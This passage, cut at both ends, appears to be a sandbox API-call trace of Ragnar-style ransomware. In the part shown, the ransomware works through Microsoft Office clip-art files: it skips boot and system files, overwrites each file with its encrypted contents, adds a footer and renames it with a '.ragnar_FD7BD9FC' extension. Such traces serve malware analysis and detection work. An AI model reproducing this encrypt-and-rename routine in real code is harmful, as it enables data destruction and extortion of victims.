Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18215_.WMF.ragnar_FD7BD9FC" [0096.647] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18215_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18215_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18215_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18215_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0096.648] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cab3c00, ftCreationTime.dwHighDateTime=0x1bdcf20, ftLastAccessTime.dwLowDateTime=0xbcbffbc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3cab3c00, ftLastWriteTime.dwHighDateTime=0x1bdcf20, nFileSizeHigh=0x0, nFileSizeLow=0x726, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18216_.WMF", cAlternateFileName="")) returned 1 [0096.648] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x41 [0096.648] lstrcpyW (in: lpString1=0x1eab64, lpString2="BD18216_.WMF" | out: lpString1="BD18216_.WMF") returned="BD18216_.WMF" [0096.648] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18216_.WMF") returned=".WMF" [0096.648] lstrcmpiW (lpString1="BD18216_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0096.648] lstrcmpiW (lpString1="BD18216_.WMF", lpString2="autorun.inf") returned 1 [0096.648] lstrcmpiW (lpString1="BD18216_.WMF", lpString2="boot.ini") returned -1 [0096.648] lstrcmpiW (lpString1="BD18216_.WMF", lpString2="bootfont.bin") returned -1 [0096.648] lstrcmpiW (lpString1="BD18216_.WMF", lpString2="bootsect.bak") returned -1 [0096.648] lstrcmpiW (lpString1="BD18216_.WMF", lpString2="bootmgr") returned -1 [0096.648] lstrcmpiW (lpString1="BD18216_.WMF", lpString2="bootmgr.efi") returned -1 [0096.648] lstrcmpiW (lpString1="BD18216_.WMF", lpString2="bootmgfw.efi") returned -1 [0096.648] lstrcmpiW (lpString1="BD18216_.WMF", lpString2="desktop.ini") returned -1 [0096.648] lstrcmpiW (lpString1="BD18216_.WMF", lpString2="iconcache.db") returned -1 [0096.648] lstrcmpiW (lpString1="BD18216_.WMF", lpString2="ntldr") returned -1 [0096.648] lstrcmpiW (lpString1="BD18216_.WMF", lpString2="ntuser.dat") returned -1 [0096.648] lstrcmpiW (lpString1="BD18216_.WMF", lpString2="ntuser.dat.log") returned -1 [0096.648] lstrcmpiW (lpString1="BD18216_.WMF", lpString2="ntuser.ini") returned -1 [0096.648] lstrcmpiW (lpString1="BD18216_.WMF", lpString2="thumbs.db") returned -1 [0096.648] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0096.648] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0096.648] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0096.649] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0096.649] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0096.649] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0096.649] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0096.649] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18216_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18216_.wmf")) returned 0x20 [0096.649] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18216_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18216_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0096.649] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=1830) returned 1 [0096.649] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x71d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.649] GetProcessHeap () returned 0x580000 [0096.649] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0096.649] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0096.651] VirtualAlloc (lpAddress=0x0, dwSize=0x726, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0096.651] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.651] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0096.651] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x726, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x726, lpOverlapped=0x0) returned 1 [0096.651] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0096.651] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x726, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.651] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x726, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x726, lpOverlapped=0x0) returned 1 [0096.651] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x726, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.651] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.652] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x726, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.652] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.652] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.652] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.652] WriteFile (in: hFile=0xf4, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0096.652] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.652] GetProcessHeap () returned 0x580000 [0096.652] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0096.652] CloseHandle (hObject=0xf4) returned 1 [0096.652] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18216_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18216_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18216_.WMF" [0096.652] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18216_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18216_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18216_.WMF.ragnar_FD7BD9FC" [0096.652] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18216_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18216_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18216_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18216_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0096.653] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ded1d00, ftCreationTime.dwHighDateTime=0x1bdcf1b, ftLastAccessTime.dwLowDateTime=0xbcbffbc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7ded1d00, ftLastWriteTime.dwHighDateTime=0x1bdcf1b, nFileSizeHigh=0x0, nFileSizeLow=0x1552, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18217_.WMF", cAlternateFileName="")) returned 1 [0096.653] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x41 [0096.653] lstrcpyW (in: lpString1=0x1eab64, lpString2="BD18217_.WMF" | out: lpString1="BD18217_.WMF") returned="BD18217_.WMF" [0096.653] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18217_.WMF") returned=".WMF" [0096.653] lstrcmpiW (lpString1="BD18217_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0096.653] lstrcmpiW (lpString1="BD18217_.WMF", lpString2="autorun.inf") returned 1 [0096.653] lstrcmpiW (lpString1="BD18217_.WMF", lpString2="boot.ini") returned -1 [0096.653] lstrcmpiW (lpString1="BD18217_.WMF", lpString2="bootfont.bin") returned -1 [0096.653] lstrcmpiW (lpString1="BD18217_.WMF", lpString2="bootsect.bak") returned -1 [0096.653] lstrcmpiW (lpString1="BD18217_.WMF", lpString2="bootmgr") returned -1 [0096.653] lstrcmpiW (lpString1="BD18217_.WMF", lpString2="bootmgr.efi") returned -1 [0096.653] lstrcmpiW (lpString1="BD18217_.WMF", lpString2="bootmgfw.efi") returned -1 [0096.653] lstrcmpiW (lpString1="BD18217_.WMF", lpString2="desktop.ini") returned -1 [0096.653] lstrcmpiW (lpString1="BD18217_.WMF", lpString2="iconcache.db") returned -1 [0096.653] lstrcmpiW (lpString1="BD18217_.WMF", lpString2="ntldr") returned -1 [0096.653] lstrcmpiW (lpString1="BD18217_.WMF", lpString2="ntuser.dat") returned -1 [0096.653] lstrcmpiW (lpString1="BD18217_.WMF", lpString2="ntuser.dat.log") returned -1 [0096.653] lstrcmpiW (lpString1="BD18217_.WMF", lpString2="ntuser.ini") returned -1 [0096.653] lstrcmpiW (lpString1="BD18217_.WMF", lpString2="thumbs.db") returned -1 [0096.653] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0096.653] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0096.653] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0096.653] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0096.653] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0096.654] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0096.654] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0096.654] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18217_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18217_.wmf")) returned 0x20 [0096.654] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18217_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18217_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0096.655] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=5458) returned 1 [0096.655] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1549, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.655] GetProcessHeap () returned 0x580000 [0096.655] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0096.655] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0096.658] VirtualAlloc (lpAddress=0x0, dwSize=0x1552, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0096.658] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.658] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0096.658] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1552, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x1552, lpOverlapped=0x0) returned 1 [0096.659] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0096.659] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1552, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.659] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1552, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x1552, lpOverlapped=0x0) returned 1 [0096.659] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1552, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.659] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.659] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1552, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.659] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.659] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.660] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.660] WriteFile (in: hFile=0xf4, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0096.660] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.660] GetProcessHeap () returned 0x580000 [0096.660] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0096.660] CloseHandle (hObject=0xf4) returned 1 [0096.660] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18217_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18217_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18217_.WMF" [0096.660] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18217_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18217_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18217_.WMF.ragnar_FD7BD9FC" [0096.660] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18217_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18217_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18217_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18217_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0096.661] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fcec000, ftCreationTime.dwHighDateTime=0x1bdcf1b, ftLastAccessTime.dwLowDateTime=0xbcc25d20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8fcec000, ftLastWriteTime.dwHighDateTime=0x1bdcf1b, nFileSizeHigh=0x0, nFileSizeLow=0x1212, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18218_.WMF", cAlternateFileName="")) returned 1 [0096.661] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x41 [0096.661] lstrcpyW (in: lpString1=0x1eab64, lpString2="BD18218_.WMF" | out: lpString1="BD18218_.WMF") returned="BD18218_.WMF" [0096.661] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18218_.WMF") returned=".WMF" [0096.661] lstrcmpiW (lpString1="BD18218_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0096.661] lstrcmpiW (lpString1="BD18218_.WMF", lpString2="autorun.inf") returned 1 [0096.661] lstrcmpiW (lpString1="BD18218_.WMF", lpString2="boot.ini") returned -1 [0096.661] lstrcmpiW (lpString1="BD18218_.WMF", lpString2="bootfont.bin") returned -1 [0096.661] lstrcmpiW (lpString1="BD18218_.WMF", lpString2="bootsect.bak") returned -1 [0096.661] lstrcmpiW (lpString1="BD18218_.WMF", lpString2="bootmgr") returned -1 [0096.661] lstrcmpiW (lpString1="BD18218_.WMF", lpString2="bootmgr.efi") returned -1 [0096.661] lstrcmpiW (lpString1="BD18218_.WMF", lpString2="bootmgfw.efi") returned -1 [0096.661] lstrcmpiW (lpString1="BD18218_.WMF", lpString2="desktop.ini") returned -1 [0096.661] lstrcmpiW (lpString1="BD18218_.WMF", lpString2="iconcache.db") returned -1 [0096.661] lstrcmpiW (lpString1="BD18218_.WMF", lpString2="ntldr") returned -1 [0096.661] lstrcmpiW (lpString1="BD18218_.WMF", lpString2="ntuser.dat") returned -1 [0096.661] lstrcmpiW (lpString1="BD18218_.WMF", lpString2="ntuser.dat.log") returned -1 [0096.661] lstrcmpiW (lpString1="BD18218_.WMF", lpString2="ntuser.ini") returned -1 [0096.661] lstrcmpiW (lpString1="BD18218_.WMF", lpString2="thumbs.db") returned -1 [0096.661] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0096.661] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0096.661] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0096.661] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0096.661] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0096.661] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0096.661] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0096.661] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18218_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18218_.wmf")) returned 0x20 [0096.662] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18218_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18218_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0096.662] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=4626) returned 1 [0096.662] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1209, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.662] GetProcessHeap () returned 0x580000 [0096.662] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0096.662] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0096.664] VirtualAlloc (lpAddress=0x0, dwSize=0x1212, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0096.664] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.664] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0096.664] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1212, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x1212, lpOverlapped=0x0) returned 1 [0096.665] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0096.665] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1212, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.665] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1212, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x1212, lpOverlapped=0x0) returned 1 [0096.665] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1212, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.665] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.665] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1212, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.665] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.665] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.665] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.666] WriteFile (in: hFile=0xf4, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0096.666] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.666] GetProcessHeap () returned 0x580000 [0096.666] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0096.666] CloseHandle (hObject=0xf4) returned 1 [0096.666] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18218_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18218_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18218_.WMF" [0096.666] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18218_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18218_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18218_.WMF.ragnar_FD7BD9FC" [0096.666] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft 